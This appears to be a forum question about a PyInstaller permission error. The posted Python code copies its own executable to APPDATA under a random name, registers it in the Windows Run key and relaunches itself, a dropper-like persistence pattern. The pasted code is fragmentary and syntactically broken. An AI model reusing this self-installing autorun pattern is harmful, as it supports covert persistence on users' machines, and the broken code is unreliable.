title: python Pyinstaller IOError: [Errno 13] Permission denied
body: <p>py2exe works good but pyinstaller make this errors</p>
  
  <pre><code>ERROR:utils:[Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'
  
  Traceback (most recent call last):
  
   File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\utils", line 94, in drop_check
  
    File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 88, in copy
  
   File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 53, in copyfile
  
  
  IOError: [Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'
  </code></pre>
  
  <p><strong>here is my code</strong></p>
  
  <pre><code>    import os
  import sys
  from time import sleep
  import random
  import subprocess
  import zipfile
  
  from config import APPDATA
  
  import shutil
  
  import win32api, win32con
  import _winreg
  import logging
  
  
  
  
  
  def register_startup(filename):
      try:
          key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, _winreg.KEY_ALL_ACCESS)
          _winreg.SetValueEx(key, "KSSync",0, _winreg.REG_SZ, filename)
          return True
      except Exception, e:
          return False
  
  
  
              if not os.path.exists(APPDATA):
                  os.makedirs(APPDATA)
              dest = os.path.join(APPDATA, "strong_%s.exe" % str(random.randrange(1000,9999)) )
  
              logger.debug("Copying %s to %s" % (sys.executable, dest) )
              shutil.copy(sys.executable, dest)
              logger.info("Installed %s to %s" % (sys.executable, dest))
              register_startup(dest)
              subprocess.Popen([dest, '--patience'])
              sys.exit(1)
              return True
              except Exception, e:
              logger.exception(e)
              return False
  </code></pre>
  
  <p>The call to register the file in startup These two function produce the error
   register_startup(dest)
    subprocess.Popen([dest, '--patience'])</p>
  
  <p>Yes The file is present 
  C:\Documents and Settings\Administrator\Application Data\khan\controll123.exe</p>
  
  <p>seems the double back sash are REASON ?</p>